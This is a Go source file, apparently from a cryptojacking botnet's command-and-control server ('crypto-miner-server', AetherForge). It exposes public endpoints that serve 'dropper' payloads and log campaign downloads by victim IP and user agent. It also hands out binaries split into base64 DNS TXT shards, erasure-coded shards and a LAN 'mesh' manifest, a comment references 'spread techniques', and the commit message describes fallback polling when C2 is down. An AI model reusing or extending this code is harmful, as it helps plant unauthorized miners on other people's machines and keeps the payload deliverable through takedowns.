Files
AetherForge/server/internal/api/public_handler.go
AetherForge f691270279
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add EventBridge policy fan-out for standalone degraded mode.
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
2026-06-07 10:10:16 -07:00

291 lines
8.4 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"encoding/base64"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
erasureShards *erasure.ShardStore
policySnapshotFn func() (PolicySnapshot, error)
policySnapshotTokenFn func() string
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
// BindErasureShardStore serves ReedSolomon shard bytes for multi-lane deploy plans.
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
h.erasureShards = store
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// GET /api/v1/public/erasure-torrent/{token}/manifest
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
p, ok := h.erasureShards.ParamsFor(token)
if !ok {
http.Error(w, "torrent not found", http.StatusNotFound)
return
}
total := p.TotalShards()
shards := make([][]byte, total)
hasAny := false
for i := 0; i < total; i++ {
if sh, ok := h.erasureShards.Get(token, i); ok {
shards[i] = sh
hasAny = true
}
}
if !hasAny {
http.Error(w, "torrent not found", http.StatusNotFound)
return
}
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
if base == "://" {
base = "http://127.0.0.1:8989"
}
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, manifest)
}
// GET /api/v1/public/erasure-shard/{token}/{index}
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
index := 0
if indexStr != "" {
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
}
data, ok := h.erasureShards.Get(token, index)
if !ok {
http.Error(w, "shard not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}